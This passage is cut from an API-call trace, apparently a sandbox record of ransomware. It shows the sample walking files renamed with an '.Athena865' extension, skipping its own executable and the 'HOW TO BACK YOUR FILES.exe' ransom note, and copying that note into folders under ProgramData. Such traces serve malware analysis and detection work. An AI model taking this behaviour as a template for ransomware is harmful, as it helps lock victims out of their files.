lpString1=0x241e8d0, lpString2="MS.OIS.14.1033.hxn.Athena865" | out: lpString1="MS.OIS.14.1033.hxn.Athena865") returned="MS.OIS.14.1033.hxn.Athena865" [0102.872] lstrlenW (lpString="MS.OIS.14.1033.hxn.Athena865") returned 28 [0102.872] lstrlenW (lpString="Athena865") returned 9 [0102.872] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.872] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xc997810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc997810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4a25400, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.ONENOTE.14.1033.hxn.Athena865", cAlternateFileName="MSONEN~1.ATH")) returned 1 [0102.872] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.872] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.872] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.ONENOTE.14.1033.hxn.Athena865" | out: lpString1="MS.ONENOTE.14.1033.hxn.Athena865") returned="MS.ONENOTE.14.1033.hxn.Athena865" [0102.872] lstrlenW (lpString="MS.ONENOTE.14.1033.hxn.Athena865") returned 32 [0102.872] lstrlenW (lpString="Athena865") returned 9 [0102.872] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.872] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4a25400, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.OUTLOOK.14.1033.hxn.Athena865", cAlternateFileName="MSOUTL~1.ATH")) returned 1 [0102.872] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.872] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.872] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.OUTLOOK.14.1033.hxn.Athena865" | out: lpString1="MS.OUTLOOK.14.1033.hxn.Athena865") returned="MS.OUTLOOK.14.1033.hxn.Athena865" [0102.873] lstrlenW (lpString="MS.OUTLOOK.14.1033.hxn.Athena865") returned 32 [0102.873] lstrlenW (lpString="Athena865") returned 9 [0102.873] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.873] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4a4b560, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.OUTLOOK.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSOUTL~2.ATH")) returned 1 [0102.873] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.873] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.873] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.OUTLOOK.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.OUTLOOK.DEV.14.1033.hxn.Athena865") returned="MS.OUTLOOK.DEV.14.1033.hxn.Athena865" [0102.873] lstrlenW (lpString="MS.OUTLOOK.DEV.14.1033.hxn.Athena865") returned 36 [0102.873] lstrlenW (lpString="Athena865") returned 9 [0102.873] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.873] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc4a4b560, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.POWERPNT.14.1033.hxn.Athena865", cAlternateFileName="MSPOWE~1.ATH")) returned 1 [0102.873] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.873] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.873] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.POWERPNT.14.1033.hxn.Athena865" | out: lpString1="MS.POWERPNT.14.1033.hxn.Athena865") returned="MS.POWERPNT.14.1033.hxn.Athena865" [0102.873] lstrlenW (lpString="MS.POWERPNT.14.1033.hxn.Athena865") returned 33 [0102.873] lstrlenW (lpString="Athena865") returned 9 [0102.873] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.873] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc4a716c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.POWERPNT.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSPOWE~2.ATH")) returned 1 [0102.873] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.873] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.873] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.POWERPNT.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.POWERPNT.DEV.14.1033.hxn.Athena865") returned="MS.POWERPNT.DEV.14.1033.hxn.Athena865" [0102.873] lstrlenW (lpString="MS.POWERPNT.DEV.14.1033.hxn.Athena865") returned 37 [0102.873] lstrlenW (lpString="Athena865") returned 9 [0102.873] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.873] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc4a716c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.SETLANG.14.1033.hxn.Athena865", cAlternateFileName="MSSETL~1.ATH")) returned 1 [0102.873] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.873] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.873] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.SETLANG.14.1033.hxn.Athena865" | out: lpString1="MS.SETLANG.14.1033.hxn.Athena865") returned="MS.SETLANG.14.1033.hxn.Athena865" [0102.873] lstrlenW (lpString="MS.SETLANG.14.1033.hxn.Athena865") returned 32 [0102.874] lstrlenW (lpString="Athena865") returned 9 [0102.874] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.874] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc4a97820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO.14.1033.hxn.Athena865", cAlternateFileName="MSVISI~1.ATH")) returned 1 [0102.874] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.874] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.874] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.VISIO.14.1033.hxn.Athena865" | out: lpString1="MS.VISIO.14.1033.hxn.Athena865") returned="MS.VISIO.14.1033.hxn.Athena865" [0102.874] lstrlenW (lpString="MS.VISIO.14.1033.hxn.Athena865") returned 30 [0102.874] lstrlenW (lpString="Athena865") returned 9 [0102.874] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.874] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc4a97820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSVISI~2.ATH")) returned 1 [0102.874] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.874] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.874] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.VISIO.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.VISIO.DEV.14.1033.hxn.Athena865") returned="MS.VISIO.DEV.14.1033.hxn.Athena865" [0102.874] lstrlenW (lpString="MS.VISIO.DEV.14.1033.hxn.Athena865") returned 34 [0102.874] lstrlenW (lpString="Athena865") returned 9 [0102.874] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.874] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc4abd980, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865", cAlternateFileName="MSVISI~3.ATH")) returned 1 [0102.874] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.874] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.874] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865" | out: lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865") returned="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865" [0102.874] lstrlenW (lpString="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865") returned 41 [0102.874] lstrlenW (lpString="Athena865") returned 9 [0102.874] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.874] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc4abd980, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO_PRM.14.1033.hxn.Athena865", cAlternateFileName="MSVISI~4.ATH")) returned 1 [0102.874] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.874] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.875] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.VISIO_PRM.14.1033.hxn.Athena865" | out: lpString1="MS.VISIO_PRM.14.1033.hxn.Athena865") returned="MS.VISIO_PRM.14.1033.hxn.Athena865" [0102.875] lstrlenW (lpString="MS.VISIO_PRM.14.1033.hxn.Athena865") returned 34 [0102.875] lstrlenW (lpString="Athena865") returned 9 [0102.875] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.875] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc4ae3ae0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO_STD.14.1033.hxn.Athena865", cAlternateFileName="MS8AED~1.ATH")) returned 1 [0102.875] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.875] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.875] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.VISIO_STD.14.1033.hxn.Athena865" | out: lpString1="MS.VISIO_STD.14.1033.hxn.Athena865") returned="MS.VISIO_STD.14.1033.hxn.Athena865" [0102.875] lstrlenW (lpString="MS.VISIO_STD.14.1033.hxn.Athena865") returned 34 [0102.875] lstrlenW (lpString="Athena865") returned 9 [0102.875] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.875] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4ae3ae0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.WINPROJ.14.1033.hxn.Athena865", cAlternateFileName="MSWINP~1.ATH")) returned 1 [0102.875] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.875] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.875] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.WINPROJ.14.1033.hxn.Athena865" | out: lpString1="MS.WINPROJ.14.1033.hxn.Athena865") returned="MS.WINPROJ.14.1033.hxn.Athena865" [0102.875] lstrlenW (lpString="MS.WINPROJ.14.1033.hxn.Athena865") returned 32 [0102.875] lstrlenW (lpString="Athena865") returned 9 [0102.875] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.875] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4b09c40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.WINPROJ.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSWINP~2.ATH")) returned 1 [0102.875] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.875] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.875] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.WINPROJ.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.WINPROJ.DEV.14.1033.hxn.Athena865") returned="MS.WINPROJ.DEV.14.1033.hxn.Athena865" [0102.875] lstrlenW (lpString="MS.WINPROJ.DEV.14.1033.hxn.Athena865") returned 36 [0102.875] lstrlenW (lpString="Athena865") returned 9 [0102.875] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.875] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4b09c40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.WINWORD.14.1033.hxn.Athena865", cAlternateFileName="MSWINW~1.ATH")) returned 1 [0102.875] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.875] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.875] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.WINWORD.14.1033.hxn.Athena865" | out: lpString1="MS.WINWORD.14.1033.hxn.Athena865") returned="MS.WINWORD.14.1033.hxn.Athena865" [0102.875] lstrlenW (lpString="MS.WINWORD.14.1033.hxn.Athena865") returned 32 [0102.876] lstrlenW (lpString="Athena865") returned 9 [0102.876] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.876] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4b2fda0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.WINWORD.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSWINW~2.ATH")) returned 1 [0102.876] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.876] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.876] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.WINWORD.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.WINWORD.DEV.14.1033.hxn.Athena865") returned="MS.WINWORD.DEV.14.1033.hxn.Athena865" [0102.876] lstrlenW (lpString="MS.WINWORD.DEV.14.1033.hxn.Athena865") returned 36 [0102.876] lstrlenW (lpString="Athena865") returned 9 [0102.876] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.876] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xc4b55f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x24e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nslist.hxl.Athena865", cAlternateFileName="NSLIST~1.ATH")) returned 1 [0102.876] lstrcmpiW (lpString1="nslist.hxl.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.876] lstrcmpiW (lpString1="nslist.hxl.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.876] lstrcpyW (in: lpString1=0x241e8d0, lpString2="nslist.hxl.Athena865" | out: lpString1="nslist.hxl.Athena865") returned="nslist.hxl.Athena865" [0102.876] lstrlenW (lpString="nslist.hxl.Athena865") returned 20 [0102.876] lstrlenW (lpString="Athena865") returned 9 [0102.876] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.876] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xc4b55f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x24e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nslist.hxl.Athena865", cAlternateFileName="NSLIST~1.ATH")) returned 0 [0102.876] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.876] ReleaseMutex (hMutex=0xec) returned 1 [0102.876] CloseHandle (hObject=0xec) returned 1 [0102.876] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Mozilla" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Mozilla") returned="C:\\Documents and Settings\\All Users\\Application Data\\Mozilla" [0102.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5195e0 | out: hHeap=0x4f0000) returned 1 [0102.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a550 | out: hHeap=0x4f0000) returned 1 [0102.876] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Application Data\\Mozilla") returned 60 [0102.876] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\25853A4B8CB3FF96D691B772306C5D8A") returned 0xec [0102.876] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.877] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Mozilla" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Mozilla") returned="C:\\Documents and Settings\\All Users\\Application Data\\Mozilla" [0102.877] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.877] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.877] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\mozilla\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.877] GetLastError () returned 0x0 [0102.877] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.878] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.878] CloseHandle (hObject=0xf4) returned 1 [0102.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.879] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.879] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Mozilla\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.879] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.879] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.879] lstrcpyW (in: lpString1=0x241e8c2, lpString2="logs" | out: lpString1="logs") returned="logs" [0102.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a550 [0102.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x84) returned 0x514638 [0102.879] lstrcatW (in: lpString1="logs", lpString2="\\" | out: lpString1="logs\\") returned="logs\\" [0102.879] lstrcatW (in: lpString1="logs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="logs\\HOW TO BACK YOUR FILES.exe") returned="logs\\HOW TO BACK YOUR FILES.exe" [0102.879] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Mozilla\\logs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\mozilla\\logs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.880] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xe24230c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe24230c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, 